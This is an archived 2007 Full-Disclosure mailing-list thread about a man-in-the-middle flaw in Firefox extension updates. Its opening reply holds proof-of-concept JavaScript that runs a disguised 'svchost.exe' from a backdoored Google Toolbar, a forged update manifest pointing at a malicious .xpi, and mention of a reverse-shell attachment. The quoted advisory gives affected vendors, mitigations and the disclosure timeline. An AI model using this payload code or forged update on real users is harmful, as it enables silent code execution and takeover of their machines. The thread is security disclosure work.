

Re: [Full-disclosure] New Vulnerability against Firefox/ Major Extensions

Source: <http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2007-05/msg00536.html>

- *From:* "Ferruh Mavituna" <ferruh@xxxxxxxxxxxxx>
 - *Date:* Wed, 30 May 2007 13:07:15 +0100
-

Very good and detailed advisory,
I came up with the same issue about one month ago and developed two PoCs.

Here is the hash : <http://ferruh.mavituna.com/makale/firefox-hash/> (shame on me that I haven't sent to any public mail-list. If you really curious check out RSS caches and google cache) and brief explanation is in the attachment (Firefox-MITM.txt).

I attached Google Toolbar PoC. Be careful it's throwing a reverse shell also
I got a PoC for Linux as well.

To clarify things, you can execute arbitrary code with current user's rights.

Here is a sample code,

```
-----  
exepath = Components.classes["@mozilla.org/file/directory_service;1"].getService(  
Components.interfaces.nsIProperties).get("ProfD",  
Components.interfaces.nsIFile).path +  
"\\extensions\\{3112ca9c-de6d-4884-a869-9855de68056c}\\chrome\\svchost.exe";  
runFile(exepath);
```

```
function runFile(f) {  
var file = Components.classes["@mozilla.org/file/local;1"]  
.createInstance(Components.interfaces.nsILocalFile);
```

```
file.initWithPath(f);
```

```
var process = Components.classes["@mozilla.org/process/util;1"]  
.createInstance(Components.interfaces.nsIProcess);
```

```
process.init(file);
```

```
var args = [""];  
process.run(false, args, args.length);  
}
```

Re: [Full-disclosure] New Vulnerability against Firefox/ Major Extensions

Sample update response XML,

```
-----
<?xml version="1.0"?><RDF:RDF xmlns:RDF="
http://www.w3.org/1999/02/22-rdf-syntax-ns# xmlns:em="
http://www.mozilla.org/2004/em-rdf#>
<RDF:Description
about="urn:mozilla:extension:{3112ca9c-de6d-4884-a869-9855de68056c}">
<em:updates><RDF:Seq>
<RDF:li
resource="urn:mozilla:extension:{3112ca9c-de6d-4884-a869-9855de68056c}:
4.0.0.16"/>
</RDF:Seq></em:updates></RDF:Description>
<RDF:Description
about="urn:mozilla:extension:{3112ca9c-de6d-4884-a869-9855de68056c}:4.0.0.16
">
<em:version>4.0.0.16</em:version>
<em:targetApplication><RDF:Description>
<em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>
<em:minVersion>1.5.0</em:minVersion>
<em:maxVersion>2.9.99</em:maxVersion>
<em:updateLink>http://192.168.1.130/firefox/google.xpi</em:updateLink>
</RDF:Description></em:targetApplication></RDF:Description>
</RDF:RDF>
-----
```

This is our backdoored xpi file url :

<http://192.168.1.130/firefox/google.xpi>

I modified the google-toolbar.xul and added to run svchost.exe file which is in xpi file as well.

Sample xpi file attached, modified version of google toolbar extension and it will work every time you launch Firefox.

Thanks to pentestmonkey – <http://pentestmonkey.net> and <http://www.ntsousecure.com> for helping me in PoC and the attack.

Regards,

On 30/05/07, Christopher Soghoian <csoghoian@xxxxxxxxx> wrote:

This information also posted (with html link goodness) to <http://paranoia.dubfire.net/2007/05/remote-vulnerability-in-firefox.html>

Executive Summary

A vulnerability exists in the upgrade mechanism used by a number of

Re: [Full-disclosure] New Vulnerability against Firefox/ Major Extensions

Re: [Full-disclosure] New Vulnerability against Firefox/ Major Extensions

high profile Firefox extensions. These include Google Toolbar, Google Browser Sync, Yahoo Toolbar, Del.icio.us Extension, Facebook Toolbar, AOL Toolbar, Ask.com Toolbar, LinkedIn Browser Toolbar, Netcraft Anti-Phishing Toolbar, PhishTank SiteChecker and a number of others, mainly commercial extensions.

Users of the Google Pack suite of software are most likely vulnerable, as this includes the Google Toolbar for Firefox.

The latest version of all of these listed, and many other extensions are vulnerable. This is not restricted to a specific version of Firefox.

Users are vulnerable and are at risk of an attacker silently installing malicious software on their computers. This possibility exists whenever the user cannot trust their domain name server (DNS) or network connection. Examples of this include public wireless networks, and users connected to compromised home routers.

The vast majority of the open source/hobbyist made Firefox extensions – those that are hosted at <https://addons.mozilla.org> – are not vulnerable to this attack. Users of popular Firefox extensions such as NoScript, Greasemonkey, and Adblock Plus have nothing to worry about.

In addition to notifying the Firefox Security Team, some of the most high-profile vulnerable software vendors (Google, Yahoo, and Facebook) were notified 45 days ago, although none have yet released a fix. The number of vulnerable extensions is more lengthy than those listed in this document. Until vendors have fixed the problems, users should remove/disable all Firefox extensions except those that they are sure they have downloaded from the official Firefox Add-ons website (<https://addons.mozilla.org>). If in doubt, delete the extension, and then download it again from a safe place.

In Firefox, this can be done by going to Tools->Add-ons. Select the individual extensions, and then click on the uninstall button.

Frequently Asked Questions

Q: Who is at risk?

A: Anyone who has installed the Firefox Web Browser and one or more vulnerable extensions. These include, but are not limited to: Google Toolbar, Google Browser Sync, Yahoo Toolbar, Del.icio.us Extension, Facebook Toolbar, AOL Toolbar, Ask.com Toolbar, LinkedIn Browser Toolbar, Netcraft Anti-Phishing Toolbar, PhishTank SiteChecker.

Q: How many people are at risk?

Re: [Full-disclosure] New Vulnerability against Firefox/ Major Extensions

A: Millions. Exact numbers for each toolbar/extension are not released by the vendors. Google Toolbar, which is one of the most popular of the vulnerable extensions, is installed as part of the download process with WinZip, RealNetworks' Real Player and Adobe's Shockwave. Google publicly pays website publishers \$1 for each copy of Firefox + Google Toolbar that customers download and install through a publisher's website.

Google confirmed in 2005 that their toolbar product's user base was "in the millions". Given the number of distribution deals that have been signed, the number of users can only have grown in size since.

Q: When am I at risk?

A: When you use a public wireless network, an untrusted Internet connection, or a wireless home router with the default password set.

Q: What can happen to me?

A: An attacker can covertly install malicious software that will run within your web browser. Such software could spy on the you, hijack e-banking sessions, steal emails, send email spam and a number of other nasty tasks.

Q: What can I do to reduce my risk?

A: Users with wireless home routers should change their password to something other than the default.

Until the vendors release secure updates to their software, users should remove or disable all Firefox extensions and toolbars. Only those that have been downloaded from the official Firefox Add-Ons page are safe.

In Firefox, this can be done by going to the Tools menu and choose the Add-ons item. Select the individual extensions, and then click on the uninstall button.

Q: Why is this attack possible?

A: The problem stems from design flaws, false assumptions, and a lack of solid developer documentation instructing extension authors on the best way to secure their code.

The nature of the vulnerability described in this report is technical, but its impact can be limited by appropriate user configuration. This shows the relation between the technical and social aspects of security. For numerous other examples, please see the publications listed at www.stop-phishing.com. It also illustrates the need for good education of typical Internet users. This has been recognized as a difficult problem to tackle, but some recent efforts, e.g.,

www.SecurityCartoon.com look promising.

Description Of Vulnerability

The Firefox web browser includes the ability for third parties to release code, known as extensions, that will run within the user's browser. Firefox also includes an upgrade mechanism, enabling the extensions to poll an Internet server, looking for updates. If an update is available, the extension will typically ask the user if they wish to upgrade, and then will download and install the new code.

An exploitable vulnerability exists in the upgrade mechanism used by Firefox. The only real way to secure the upgrade path is for those websites hosting extensions and their updates to use SSL technology. The Mozilla team have provided a free hosting service for open source extensions, which is secure out of the box, by having the code served from <https://addons.mozilla.org>

For the most part, any extension which gets updates from a website that looks like <http://www.example.com> is insecure, while an extension that gets its updates from a website that looks like <https://www.other-example.com> is secure.

The vulnerability is made possible through the use of a man in the middle attack, a fairly old computer security technique. Essentially, an attacker must somehow convince your machine that he is really the update server for one or more of your extensions, and then the Firefox browser will download and install the malicious update without alerting the user to the fact that anything is wrong. While Firefox does at least prompt the user when updates are available, some commercial extensions (including those made by Google) have disabled this, and thus silently update their extensions without giving the user any say in the matter.

A DNS based man in the middle attack will not work against a SSL enabled webserver. This is because SSL certificates certify an association between a specific domain name and an ip address. An attempted man in the middle attack against a SSL enabled Firefox update server will result in the browser rejecting the connection to the masquerading update server, as the ip address in the SSL certificate, and the ip address returned by the DNS server will not match.

When Are Users Vulnerable

Users are most vulnerable to this attack when they cannot trust their domain name server. Examples of such a situation include:

* Using a public or unencrypted wireless network.

* Using a network router (wireless or wired) at home that has been infected/hacked through a drive by pharming attack. This particular risk can be heavily reduced by changing the default password on your home router.

* Using a 'network hub' – either at the office, a university, or elsewhere.

Such users are vulnerable to a number of attacks such as DNS spoofing, DNS poisoning and ARP spoofing. A potential hack can occur when a malicious person is able to convince a victim's Firefox browser to connect to a malicious host, instead of going to the intended update server.

Using this vulnerability, an attacker can force a user's browser to download and install malicious code. Such code runs within the browser, and does not run as a superuser or privileged user. A malicious extension could spy on the user, perform an active man in the middle attack on e-banking sessions, steal emails, send spam from the user's account, perform local network port scanning, and a number of other nasty tasks.

Fixing The Problem

The number of vulnerable extensions is more lengthy than those listed in this document. Until vendors have fixed the problems, users should remove/disable all Firefox extensions except those that they are sure they have downloaded from the official Firefox Add-ons website (<https://addons.mozilla.org>). If in doubt, delete the extension, and then download it again from a safe place.

In Firefox, this can be done by going to Tools->Add-ons. Select the individual extensions, and then click on the uninstall button.

The vendors can either host their extensions on <https://addons.mozilla.org>, or if they choose to host them on their own web servers, they should turn on SSL. While this is not a particularly difficult engineering effort, for those extensions with millions of users, it may require a few additional machines to cope with the extra load required by all of those SSL connections.

As a matter of general policy, vendors really should not have their software silently install updates without asking the user's permission. It is asking for trouble.

Re: [Full-disclosure] New Vulnerability against Firefox/ Major Extensions

The Mozilla Security Team has updated their developer documentation to properly address the risks that hosting updates from an insecure server can pose. The updated documentation can be found online.

There seems to be one commercial vendor whose extension does get its updates from a secure website. The McAfee SiteAdvisor does things correctly, and is thus not vulnerable to this attack.

Why Are Commercial Vendors' Extensions Vulnerable

The vast majority of commercial software vendors do not have their extensions hosted on the <https://addons.mozilla.org> website. They prefer to control the entire user experience, and thus wish to have the users connect to their own servers for the initial download and future updates. These vendors are not hosting the updates on a secure, SSL-enabled webserver, and thus the update process for these extensions is vulnerable to a man in the middle attack.

Some vendors have made things much worse by having their extensions automatically update without asking the user for permission. The majority of the open source extensions follow the Firefox defaults, and thus require that the user "OK" any software updates.

What About Code Signing

The code signing functionality in Firefox is fairly limited. The main difference is that a signed extension will show the signer's name when the user is prompted to install the extension, while an unsigned extension will list "un-signed" next to the extension name.

The availability of an update without signatures for extensions that previously had a valid signature does not raise any kind of error. Furthermore, the signature is thrown away as soon as the new extension update is installed.

Code signing is not currently an effective method of securing the extension upgrade path. Developers should instead have their updates served by a SSL enabled webserver.

Notification of Vendors

The Mozilla Security Team was notified of this on April 16th. They do

Re: [Full-disclosure] New Vulnerability against Firefox/ Major Extensions

not believe that this is a Firefox bug or vulnerability, due to the fact that the vast majority of extensions (those hosted at <https://addons.mozilla.org>) are secure by default.

The Ebay developed, but Mozilla cobranded Firefox/Ebay extension was vulnerable, but the Mozilla Security Team fixed the problems and rolled out an update within 2 days of being notified.

The Mozilla developers have created an entry in their bug tracking database for the insecure updates issue, but it is not slated to be fixed until Firefox 3.0.

The Google Security Team was notified of the problem on April 16th. They were given a full explanation of the vulnerability. An additional four emails were sent between April 20th and May 24th. These included additional information on the problem, offers to provide help as well as offers to delay publication of the vulnerability. The Google Security Team replied on May 25th stating that they were working on a fix, and expected to have it ready and deployed before May 30th. At the time of publishing this vulnerability disclosure, it does not appear that Google has rolled out an update yet.

The Yahoo Security Team was notified of the problem on April 21st. A human being replied to the initial report with intelligent questions, in less than 12 hours, on a Saturday. There has been no further communication from Yahoo.

The Facebook Security Team was notified on April 21st. They replied with two emails from a human being confirming receipt of the report. There has been no further communication from Facebook.

The number of vulnerable extensions continues to grow. It is just not feasible to provide advanced notification to every creator of a Firefox extension. Advanced notice has thus been given to those major vendors who the research initially focused on.

The CERT disclosure policy states that "All vulnerabilities reported to the CERT/CC will be disclosed to the public 45 days after the initial report, regardless of the existence or availability of patches or workarounds from affected vendors." Given the fact that fixing the flaw is a fairly trivial engineering task (changing a couple urls from <http>-><https>), and it is very easy for users to protect themselves (remove the vulnerable toolbars), sitting on this information any longer would be a bad idea.

Another other well respected responsible disclosure policy sets a 5 days time limit. If the vendor does not keep in touch with the security developer every 5 days, then the vulnerability will be made public. While this path was not followed, it is worth noting that neither Google, Yahoo or Facebook made an attempt to keep the lines of communication open. Following such a policy, this information would

Re: [Full-disclosure] New Vulnerability against Firefox/ Major Extensions

Re: [Full-disclosure] New Vulnerability against Firefox/ Major Extensions

have thus been revealed a number of weeks ago.

Self Disclosure/Conflict of Interest Statement

Christopher Soghoian is a PhD student in the School of Informatics at Indiana University. He is a member of the Stop Phishing Research Group. His research is focused in the areas of phishing, click-fraud, search privacy and airport security. He has worked an intern with Google, Apple, IBM and Cybertrust. He is the co-inventor of several pending patents in the areas of mobile authentication, anti-phishing, and virtual machine defense against viruses. His website is <http://www.dubfire.net/chris/> and he blogs regularly at <http://paranoia.dubfire.net>

This vulnerability was discovered and disclosed to vendors during the spring semester, while he was paid as a researcher assistant at Indiana University. He is now currently working at an internship in Europe. This disclosure announcement, and the vulnerability in no way reflect the opinions or corporate policy of his current employer nor those of Indiana University.

Information on this vulnerability was disclosed for free to the above listed vendors. Christopher Soghoian has not been financially compensated for this work. He has no malicious or ill feelings towards any of the vulnerable software companies.

He was an intern with the Application Security Team at Google during the summer of 2006. Finding this vulnerability did not involve using any confidential information that he learned while employed by Google. It was done solely with a copy of Firefox and a packet sniffer.

Full-Disclosure – We believe in it.
Charter: <http://lists.grok.org.uk/full-disclosure-charter.html>
Hosted and sponsored by Secunia – <http://secunia.com/>

==

Ferruh Mavituna

<http://ferruh.mavituna.com>

MITM attack against Firefox add-ons. Add-ons like google toolbar is updating over unsecure channels and are prone to MITM attacks. Which can allows remote code execution in Windows and Linux.

Attachment: *google.xpi*

Description: application/xpinstall

Re: [Full-disclosure] New Vulnerability against Firefox/ Major Extensions

Re: [Full-disclosure] New Vulnerability against Firefox/ Major Extensions

Full-Disclosure – We believe in it.

Charter: <http://lists.grok.org.uk/full-disclosure-charter.html>

Hosted and sponsored by Secunia – <http://secunia.com/>